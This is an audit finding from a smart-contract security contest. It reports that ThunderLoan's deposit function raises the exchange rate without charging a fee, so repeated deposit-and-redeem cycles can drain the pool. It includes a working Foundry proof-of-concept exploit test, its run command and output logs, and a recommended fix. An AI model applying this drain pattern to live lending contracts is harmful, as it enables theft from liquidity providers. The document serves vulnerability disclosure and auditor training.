Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

A malicious LP can drain all the pool fund

Summary

A malicious LP can deposit some funds and redeem immediately after deposit, and he can repeat this process multiple times because there is no depositFee in ThunderLoan::deposit function and this could lead to drain all the funds of the pool.

Vulnerability Details

Protocol is taking deposit and increasing the exchangeRate of that token. Now all an attacker need is some funds there are 2 ways to get funds:

  1. He has his own funds

  2. Can take flash loan

Here is how it will work

  1. Attacker deposit 1 tokenA (ie 1e18) and got 1 lpTokenA at an exchangeRate of 1:1

  2. exchangeRate will now increase to 1.3(just for example)

  3. Attacker will redeem 1 lpTokenA and will get 1.3 tokenA(1 * 1.3) ie 0.3 tokenA more

  4. Will repeat this until pool drains

Note: This will be more easy if attacker has more funds. Marking as high because taking flashloan is not that hard and also flashloan fee also negligible as compare to what attacker will make from here.
Here is the PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";
import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
contract ThunderLoanTest is BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;
address liquidityProvider = address(123);
address attacker = address(456);
address user2 = address(789);
MockFlashLoanReceiver mockFlashLoanReceiver;
function setUp() public override {
super.setUp();
// vm.prank(user);
// mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan));
}
function test_attacker_can_drain_pool_fund() public {
vm.startPrank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
AssetToken assetTokenA = thunderLoan.getAssetFromToken(tokenA);
tokenA.mint(address(assetTokenA), 10e18); // pool balance
uint256 initalPoolBalance = tokenA.balanceOf(address(assetTokenA));
console.log("initialPoolBalance", initalPoolBalance);
vm.startPrank(attacker);
tokenA.mint(attacker, 100e18); // attacker has 100 tokenA
for (uint256 i = 0; i < 10; ++i) {
tokenA.approve(address(thunderLoan), tokenA.balanceOf(attacker));
thunderLoan.deposit(tokenA, tokenA.balanceOf(attacker));
thunderLoan.redeem(tokenA, assetTokenA.balanceOf(attacker));
console.log(tokenA.balanceOf(attacker));
}
uint256 finalPoolBalance = tokenA.balanceOf(address(assetTokenA));
console.log("finalPoolBalance", finalPoolBalance);
assert(finalPoolBalance < initalPoolBalance);
}
}

To run test

forge test --mt test_attacker_can_drain_pool_fund -vvv

Result

Running 1 test for test/unit/MyTest.t.sol:ThunderLoanTest
[PASS] test_attacker_can_drain_pool_fund() (gas: 1871760)
Logs:
initialPoolBalance 10000000000000000000
100300000000000000000
100601802700000000000
100905424381194691800
101210881521281161800
101518190797430606100
101827369089314111800
102138433482183653800
102451401270009487400
102766289958675142400
103083117269231257200
finalPoolBalance 6916882730768742800
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.95ms

Impact

LP will lose all of their funds and intersts

Tools Used

Manual review, Foundry

Recommendations

Charge some amount of fee on deposit that will make costly for an attacker to perform this task.

Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flash loan funds stolen by a deposit

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.